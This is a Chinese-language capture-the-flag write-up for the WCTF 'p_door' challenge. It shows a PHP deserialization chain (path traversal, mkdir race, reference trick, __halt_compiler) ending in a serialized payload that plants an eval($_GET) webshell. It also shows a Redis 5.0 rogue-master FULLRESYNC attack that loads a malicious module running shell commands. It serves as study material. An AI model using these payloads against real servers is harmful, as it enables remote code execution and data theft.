## wctf-p_door ### 反序列化getshell 这道题的反序列化利用用到一个相当老且冷门的知识 首先可以定位到publish这个功能具有写文件的操作 ```php //controllers.php ... public function doPublish(){ $this->checkAuth(); $page = unserialize($_COOKIE["draft"]); $fname = $_POST["fname"]; $page->publish($fname); setcookie("draft", null, -1); die("Your blog post will be published after a while (never)<br><a href=/>Back</a>"); } ... ``` publish调用了`Cache::writeToFile`,可以看到`$ext`明显存在目录穿越(`substr(strstr($filename, "."), 1)`)。 举个例子,传入`$filename`为`./../../../../var/www/html/a.php` 拼凑出完整的目录是`/tmp/cache/[username]/[microtime]./../../../../var/www/html/a.php` ```php //models.php class Page { const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl"); public $view; public $text; public $template; public $header; public function __construct(string $template) { $this->template = $template; } public function __toString(): string { return $this->render(); } public function publish($filename) { $user = User::getInstance(); $ext = substr(strstr($filename, "."), 1); $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext; $user->checkWritePermissions(); Cache::writeToFile($path, $this); } ... ``` 但是存在一个问题,我们可以发现这里使用了`is_dir`判断路径,如果路径中含有不存在的目录名就会报错退出。这里不存在的目录为`[microtime].` ```php ... class Cache { public static function writeToFile($path, $content) { error_log($path); # TODO: delete this $info = pathinfo($path); if (!is_dir($info["dirname"])) throw new Exception("Directory doesn't exists"); if (is_file($path)) throw new Exception("File already exists"); file_put_contents($path, $content); } } ... ``` 这一步可以通过`getCacheDir()`这里`mkdir`实现绕过,因为我们发现其实在`checkWritePermissions()`之前就进行了`getCacheDir()`操作,从而我们可以在某一个未来时间点附近,用这个时间点为用户名疯狂`mkdir`,比如,使用`wupco/1562336457.§1722§`这个用户名,用`§`包裹的是我要放在burpsuite里跑的,将未来这个时间点1s之内的文件夹都建立出来。 ```php public function checkWritePermissions() { if (!$this->name || !ctype_alnum($this->name)) die("Invalid user"); if ( !(($this->perms >> 2)&1) ) die("Access denied"); } public function getCacheDir(): string { $dir_path = self::CACHE_PATH . $this->name; if (!is_dir($dir_path)){ mkdir($dir_path); } return $dir_path; } ``` 所以现在我们可以做到任意文件写了,我们再关注一下写的内容为`$this`,也就是`Page`本身这个类,在写的时候会自动调用`__toString`转成字符串,这里面调用了`->render()`这个函数 ```php public function renderVars(): string { $content = $this->view["content"]; foreach ($this->vars as $k=>$v){ $v = htmlspecialchars($v); $content = str_replace("@@$k@@", $v, $content); } return $content; } private function getHeader(): ?Page { return $this->header; } public function render(): string { $user = User::getInstance(); if (!array_key_exists($this->template, self::TEMPLATES)) die("Invalid template"); $tpl = self::TEMPLATES[$this->template]; $this->view = array(); $this->view["content"] = file_get_contents($tpl); $this->vars["user"] = $user->name; $this->vars["text"] = $this->text."\n"; $this->vars["rendered"] = microtime(true); $content = $this->renderVars(); $header = $this->getHeader(); return $header.$content; } ``` 具体的逻辑是从两个固定的模板里取一个内容作为`$this->view["content"]`,然后对数组变量`$this->vars`几个位置赋值,再将变量渲染到模板中。渲染的过程十分血腥暴力,直接把变量内容`htmlspecialchars`了,这样你可控`$this->text`也无济于事了,无法写个shell出来(`<`会被实体化)。两个可选的模板如下 ```php //main.tpl @@text@@ <hr> <small> Created by Super Blog System. <br> Rendered at: @@rendered@@ </small> <br> ``` ```php //header.tpl <hr> User: @@user@@ <hr> @@text@@ <br> <br> ``` 正常整个类的结构如下 ```php Page Object ( [view] => [text] => aaaa [template] => main [header] => Page Object ( [view] => [text] => [template] => header [header] => ) [user] => User Object ( [name] => wupco [perms] => 4 ) [filename] => ) ``` 经过渲染之后的结果如下(这个内容根据前面已经可以写到任意文件里了) ``` <hr> User: wupco <hr> aaaa <br> <br><hr> <small> Created by Super Blog System. <br> Rendered at: 1562336457.1722 </small> <br> ``` 绕过实体化的技巧得于一个很古老的技巧 [南邮ctf训练平台某题](https://www.cnblogs.com/nul1/p/9417484.html) 利用同类变量可以进行引用的操作(有点类似于指针) 我们注意题目的这几行 ```php $tpl = self::TEMPLATES[$this->template]; $this->view = array(); $this->view["content"] = file_get_contents($tpl); $this->vars["user"] = $user->name; $this->vars["text"] = $this->text."\n"; $this->vars["rendered"] = microtime(true); ``` 在取完`$this->view["content"]`后对`$this->vars`进行了赋值操作,如果我把`$this->vars`指向`$this->view`是不是就存在变量覆盖的情况呢?答案是是的! 但是我们注意到`$this->view = array();`,也就是view如果有内容本身就会被清空,我们的指针只能指向`view`而不能指向`view['content']`,而且`$user->name`是有检测的,只能为string的字母数字,所以只有`$this->vars["text"] = $this->text."\n";`这一个可利用了,我构造出的引用为`$this->vars["text"] = &$this->view;`。举个例子,我们控制`$this->text`为`<?php aaa\n`,那么`$this->vars["text"]`将会被赋值,同时指向的内容`$this->view`也会被赋值`<?php aaa\n`,那么在`renderVars`的时候 ```php public function renderVars(): string { $content = $this->view["content"]; foreach ($this->vars as $k=>$v){ $v = htmlspecialchars($v); $content = str_replace("@@$k@@", $v, $content); } return $content; } ``` 会取`$content=$this->view["content"];`但是明显我们这里`$this->view`只能为字符串,不过不慌,这里面实际上是可以取的,以上内容会被取第一字节`<`,虽然报个warning,但无碍。 ![](https://i.imgur.com/01HXoCk.png) 这样我们就可以避免`<`被转义了,我们构造`$this->header`为以上的payload,然后在`$this`本体拼上`?php phpinfo()`两个就会被拼接起来,注意本体使用`main.tpl`这个模板,是直接以可控内容开头的。 ```php $content = $this->renderVars(); $header = $this->getHeader(); return $header.$content; ``` 拼凑完是个这样子,很明显不符合php语法没法用 ```php <?php phpinfo(); <br> <br><hr> <small> Created by Super Blog System. <br> Rendered at: 1562336457.1722 </small> <br> ``` 这时候我们可以用php的`__halt_compiler();`结束PHP的opcode编译过程 ```php <?php phpinfo();__halt_compiler(); <br> <br><hr> <small> Created by Super Blog System. <br> Rendered at: 1562336457.1722 </small> <br> ``` ok,最终getshell的反序列化部分的payload为,前面一部分反序列化数据是我从cookie里取的,方便直接修改,也可以new一个Page。 ```php $a = unserialize(urldecode('O%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22sad%22%3Bs%3A8%3A%22template%22%3Bs%3A4%3A%22main%22%3Bs%3A6%3A%22header%22%3BO%3A4%3A%22Page%22%3A6%3A%7Bs%3A4%3A%22view%22%3BN%3Bs%3A4%3A%22text%22%3Bs%3A3%3A%22asd%22%3Bs%3A8%3A%22template%22%3Bs%3A6%3A%22header%22%3Bs%3A6%3A%22header%22%3BN%3Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22wupco%22%3Bs%3A5%3A%22perms%22%3Bi%3A4%3B%7Ds%3A8%3A%22filename%22%3BN%3B%7Ds%3A4%3A%22user%22%3Br%3A10%3Bs%3A8%3A%22filename%22%3BN%3B%7D')); $a->header = new Page('main'); $a->header->vars["text"] = &$a->header->view; $a->header->text = '<?php aaaaa'; $a->text = '?php eval($_GET[1]); __halt_compiler();'; print_r($a); echo urlencode(serialize($a)); ``` 需要用burpsuite一直跑两个payload,一个是时间戳比当前稍晚一些的1s之内的mkdir,一个是这个写shell的。 ### redis5.0 1day 利用 ![](https://i.imgur.com/khxPXzP.png) [文章出处](https://2019.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf) 刚好是题目作者orz。 这里利用的是redis>3.x版本的一个主从模式(slave)的一个安全问题。 我们可以自己搭建一个slave redis服务器,然后在目标redis上利用slaveof做主从同步。 目的在于利用`FULLRESYNC`机制完全可控`config set dbname ...` 这个文件的内容(以往我们利用都是利用容错性写文件`crontab`或`webshell`或`sshkey`),现在是要求完全可控,因为我们要写的不是别的,是redis另一个重大功能`module`,它允许加载一个外部的so文件。 于是我们的利用思路是 1. 利用`FULLRESYNC`同步一个so文件(db)到目标服务器. 2. 利用module load加载so文件. 3. 使用扩展里自定义的函数get flag. 前面需要搭建一个可控返回报文内容的redis服务器(使用Custom形式报文的) https://travis-ci.org/chekart/rediserver ![](https://i.imgur.com/1TJeINV.png) 然后在目标redis执行slaveof xxx xx,创建主从模式 设置一个导出so的名字,`config set dbfilename xxxx` 然后这边搭建好的服务器控制返回`FULLRESYNC`的报文 然后在目标redis load 写好的module ![](https://i.imgur.com/BnaqU6P.jpg) 这里我是改编 https://github.com/wujunze/redis-module-panda 一个样例module ```cpp int HelloCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { + FILE *fp = NULL; + char data[100] = {'0'}; + fp = popen("cat /flag", "r"); + fgets(data, sizeof(data), fp); + pclose(fp); + RedisModule_ReplyWithSimpleString(ctx, data); return REDISMODULE_OK; } ``` 本地测试 ![](https://i.imgur.com/eil0pwN.png) 远程(做了端口转发) ![](https://i.imgur.com/VEjkkNx.png) ## 题目文件下载地址 https://drive.google.com/file/d/1hD97d3-SR_Ou1hsyelxkS8PfV9MlQrU-/view?usp=sharing